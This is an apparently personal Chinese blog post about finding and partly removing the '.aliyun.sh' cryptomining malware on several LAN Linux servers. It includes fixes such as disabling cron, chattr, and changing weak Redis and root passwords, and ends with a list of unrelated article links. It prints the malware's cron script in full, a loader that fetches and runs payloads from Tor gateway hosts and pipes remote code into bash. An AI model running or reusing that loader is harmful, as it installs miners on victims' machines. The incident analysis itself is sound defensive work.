1. 昨天晚上同事打电话给我说自己的服务器上面的redis无故被清空了,并且查看aof 日志有很多 wget和write指令

一想就是大事不好.局域网中病毒了..

2. 今天早上到公司忙完一阵简单看了下,就发现了五台机器中病毒. (悲伤无以言表)

3. 现象: CPU暴高, 通过虚拟化控制台就能看到

4. 进入虚拟机简单查看一下. 使用top 就能看到

5. 最简单的查看流程. 先看计划任务

crontab -e

病毒的脚本文件为:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $$f -O$d || curl -m10 -fsSLkA- $$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $$x || curl -m10 -fsSLkA- $$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

中病毒无疑

删了这条记录,并且将刚才的哪个进程杀掉.

6.删除root目录下的文件

rm -rf /root/.aliyun.sh

7. /usr/bin 目录下还有别的东西 暂时没时间看...

8. 暂时关闭cron的服务避免再次被安装 (周六中午发现没卵用,)

systemctl disable crond && systemctl stop crond

9. 创建一个.aliyun.sh的文件并且增加上不可修改的权限等

touch /root/.aliyun.sh
chmod /root/.aliyun.sh
chattr +i /root/.aliyun.sh
mv /usr/bin/chattr /usr/bin/fuckchattr

10. 初步结论

1. redis 0.0.0.0 弱密码必须要修改
2.root账户的弱密码口令必须处理 也有没开redis端口有感染的情况.
3. ssh 互信的机器要关注一下.

  

11. 12.8 凌晨继续补充

病毒很变态 发现还有一个驻留进程不占CPU ,所以不能仅通过htop来查看进程还要通过pstree来去查找病毒进程

如图示。

        ├─packagekitd───*[{packagekitd}]
├─pcscd───*[{pcscd}]
├─polkitd───*[{polkitd}]
├─postmaster───*[postmaster]
├─pulseaudio───{pulseaudio}
├─rngd
├─rpcbind
├─rsyslogd───*[{rsyslogd}]
├─rtkit-daemon───*[{rtkit-daemon}]
├─smartd
├─sqlservr─┬─sqlservr───*[{sqlservr}]
│ └─{sqlservr}
├─sshd───sshd───bash───pstree
├─systemd-journal
├─systemd-logind
├─systemd-udevd
├─tnslsnr───{tnslsnr}
├─tuned───*[{tuned}]
├─udisksd───*[{udisksd}]
├─upowerd───*[{upowerd}]
├─vmtoolsd
├─wpa_supplicant
├─xdg-permission-───*[{xdg-permission-}]
└─y0qYwK

简单分析一下这个进程。发现 的确会出发新的任务来挖矿,只能先简单的干掉这个进程。再看看有没有进程出现。

二进制文件 直接被删除掉了很难搞。

索性将/usr/bin 目录设置只读属性不允许写入再进行尝试。

/opt 目录下面也有aliyun.sh

刚才反查了下域名 四月份到六月份注册的。 应该是新变种病毒。

12. 继续补充

发现病毒目录采取了 在/tmp 目录下面的文件

使用lsof简单查询一下到底用到了进程然后杀之

文件路径为:

/tmp/.X11-unix
[root@CentOS77 .X11-unix]# lsof
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
EyLyU3 root 0w REG ,
[root@CentOS77 .X11-unix]# ll /proc//
total

顺便干掉这个目录继续观察

rm -rf /tmp/.X11-unix/

局域网Linux机器中病毒简单处理 .aliyun.sh 挖矿病毒 ---不彻底的更多相关文章

  1. maven项目引入外部第三方jar包,引入、本地编译、第三方jar一起打到jar中、在linux机器中解决classnotfound(配置classpath),笔记整理。

    文章目录 引用的第三方jar的目录结构(示例) 引入第三方jar进行dependency使项目内能import 本地编译 第三方jar一起打到jar中 在linux机器中解决classnotfound ...

  2. Linux学习过程中的简单命令

    1.su su- 与 sudo     (1) 普通用户和root转换:su 用户名或root              不知道root密码的情况下:普通 -> root:sudo su roo ...

  3. 直接远程下载或上传文件到linux系统中的简单办法

    如果执行sz 或者rz 没有这个命令,则安装lrzsz包执行:yum install lrzsz 等待安装完毕,然后一直输入Y即可. sz:将选定的文件发送(send)到本地机器 -a 以文本方式传输 ...

  4. linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录

    被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysc ...

  5. Linux系统中到底应该怎么理解系统的平均负载

    02 | 基础篇:到底应该怎么理解“平均负载”? 每次发现系统变慢时,我们通常做的第一件事,就是执行 top 或者 uptime 命令,来了解系统的负载情况.比如像下面这样,我在命令行里输入了 upt ...

  6. Linux内核中链表的实现与应用【转】

    转自:http://blog.chinaunix.net/uid-27037833-id-3237153.html 链表(循环双向链表)是Linux内核中最简单.最常用的一种数据结构.         ...

  7. 今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在Win中见过的/r回车符号。由于编辑软件的编码问题,某些IDE的编辑器在编辑完文件之后会自动加上这个^M符号。看起来对我们的源代码没有任何影响,其实并不然,当我们把源代码文件Check In到svn之类

    今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在W ...

  8. [软件测试]Linux环境中简单清爽的Google Test (GTest)测试环境搭建(初级使用)

    本文将介绍单元测试工具google test(GTEST)在linux操作系统中测试环境的搭建方法.本文属于google test使用的基础教程.在linux中使用google test之前,需要对如 ...

  9. 学习Linux系统中命令的简单方法

    如果说如何快速学习.了解Linux的话,我的答案是学命令.背命令!为何呢?对于一名新手来说,去学习Linux的思想.了解Linux的架构.明白Linux中“一切皆文件”概念虽然说是没有错,是对的.但是 ...

随机推荐

  1. Scrum 之 product Backlog

    转载:http://www.zhoujingen.cn/blog/2767.html Scrum的基本概念其实并不复杂,但是想做好并不容易,大家都知道product backlog的重要性,但是我们如 ...

  2. xshell5运行hadoop集群

    ---恢复内容开始--- 1.CentOS主机配置 在配置Hadoop过程中,防火墙必须优先关闭SELinux,否则将影响后续Hadoop配置与使用,命令如下: # 查看 “系统防火墙” 状态命令 s ...

  3. xshell 远程登陆CentOS7 免密登陆

    首先说一下大体的思路: 1. 以密码登陆CentOS系统 2. 配置ssh 3. xshell 生成秘钥 4. 进行免密登陆 软件.设备: xshell(下载地址(免费版),也可以自行百度下载) Ce ...

  4. pytest怎么标记用例?

    pytest还有一个很强大的功能,那就是标记用例这个功能,这个功能可真的是很实用哒 首先,我们要实现标记功能,得分为3步走: 1.注册标记 2.标记用例 3.运行已经标记的用例. 那么第一步我们怎么实 ...

  5. JAVAWEB复习day01

    一.基础知识 1.一个html文件开始和结束的标签<html></html> 2.html的两部分<head>设置相关信息</head>,<bod ...

  6. python 一些程序规范(跨目录调用文件)

    文档内容学习于 http://www.cnblogs.com/xiaozhiqi/ 参考: https://www.cnblogs.com/monologuesmw/p/9490093.html 软件 ...

  7. 网络服务—NFS

    什么是NFS ? NFS 是Network File System的缩写,即网络文件系统.一种使用于分散式文件系统的协定,由Sun公司开发,于1984年向外公布.功能是通过网络让不同的机器.不同的操作 ...

  8. XML 配置文件,知识点

    namespace 属性:配置成接口的全限定名称,将 Mapper 接口和 XML 文件关联起来: select 标签的 id 属性值,对应定义的接口方法名. insert 标签的属性 paramet ...

  9. opencv使用cv::Mat_和push_back

    cv::Mat left_image; right_image.push_back(cv::Mat((cv::Mat_<float>(1, 3) << ori.x, ori.y ...

  10. java为什么学JavaScript?

    就现在的趋势来说,Spring无疑是一家独大的,它有太多利益 现在在Java EE开发中,Spring已经成为和Java核心库一样的基础设备,所以说假如想成为一个合格的Java程序员,Spring必定 ...